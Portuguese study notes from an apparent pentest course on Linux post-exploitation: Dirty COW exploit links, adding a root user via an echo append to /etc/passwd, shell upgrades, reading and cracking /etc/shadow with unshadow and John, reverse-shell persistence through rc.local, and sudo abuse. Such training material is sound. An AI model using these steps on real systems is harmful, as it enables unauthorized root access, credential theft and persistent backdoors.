Linux Pós exploitation | Solyd One
- Linux Pós exploitation | Solyd One
Arquivo no Github: https://github.com/mubix/post-exploitation?tab=readme-ov-file
Arquivo local: Pós Exploitation
Linux Privilege Escalation | Dirty Cow, linux-smart-enumeration, LinEnum, linuxprivchecker, linPEAS
-
Site da vulnerabilidade do kernel linux: https://dirtycow.ninja/
-
Arquivos de POCs: https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs
-
Cowroot: https://gist.github.com/waywardsun/4cd646cc98e77d2740cc7210ca63497f
-
Ferramentas:
-
Pdfs
- Documentação avançada: 🔗 Clique aqui
Usar primeiro a ferramenta linux smart enumeration. Ele retorna várias informações se podemos escrever em arquivos como /etc/passwd
Sobre Senhas
Quando não conseguimos quebrar a senha usando o John e caso tivermos acesso para escrever em arquivos como o /etc/passwd, podemos usar o comando mkpasswd que cria uma hash da senha e depois alteramos o arquivo de senha com essa nova hash
Caso não consiga alterar o arquivo, as vezes é possível dar um append de uma informação. Exemplo:
echo "root2:<hash>:0:0:root:/bin/bash" >> /etc/passwd
O linux smart enumeration irá retornar em quais programas nós conseguimos ter acesso de root e a partir deles podemos escalar privilégios. O site https://gtfobins.github.io/# possui payloads que ajuda a escalar privilégios para cada programa
Abrir uma conexão tty com Python
- Esse comando é frequentemente usado em contextos de pós-exploração, especialmente quando você consegue um shell "burro" (como via netcat) e quer transformá-lo em um shell mais interativo com suporte a funcionalida
python -c "import pty; pty.spawn('/bin/bash');"
Vasculhar por ips que respondem na rota
O comando que aparece na imagem é este:
for ip in $(seq 1 3); do ping 10.0.0.$ip -c 1; done > /tmp/saida.log
Explicação:
for ip in $(seq 1 3); do ping 10.0.0.$ip -c 1; done > /tmp/saida.log
for ip in $(seq 1 3); do ... done→ Cria um loop que itera de 1 até 3.ping 10.0.0.$ip -c 1→ Envia 1 pacote ICMP (-c 1) para cada IP no intervalo10.0.0.1,10.0.0.2,10.0.0.3.> /tmp/saida.log→ Redireciona toda a saída do loop para o arquivo/tmp/saida.log.
🔹 Em resumo:
O comando testa a conectividade (ping) para os três endereços 10.0.0.1, 10.0.0.2 e 10.0.0.3, e grava o resultado no arquivo /tmp/saida.log.
Vasculhar pasta
- /etc/passwd - User
- /etc/shadow - Password
- /home
Procurar serviços internos
nc -w 1 -vz localhost 22
- IMPORTANTE: assim que descobrir portas de serviços, usar o metasploit para encontrar vulnerabilidades baseada nas versões dos serviços
Quebrando senhas do linux
-
As pastas onde contém informações sobre senhas são
/etc/passwde/etc/shadow -
O programa
unshadowjunta os arquivospasswdeshadowe te retorna os arquivos concatenados
unshadow /etc/passwd /etc/shadow > pass.txt
Usando o John
Mantendo shell reverse após reiniciar computador | rc.local
- O arquivo
/etc/rc.localé executado toda vez que o computador reinicia- Nesse arquivo podemos colocar o nosso script de shell reverse como o python
Ver quais permissões o root forneceu ao usuário conectado
- Rode o comando abaixo:
sudo -l
Irá aparecer algo semelhante a isso:
Matching Defaults entries for start on ip-10-0-83-129:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User start may run the following commands on ip-10-0-83-129:
(root) NOPASSWD: /bin/grep
Significa que o grep pode ser usado da seguinte forma
sudo /bin/grep ----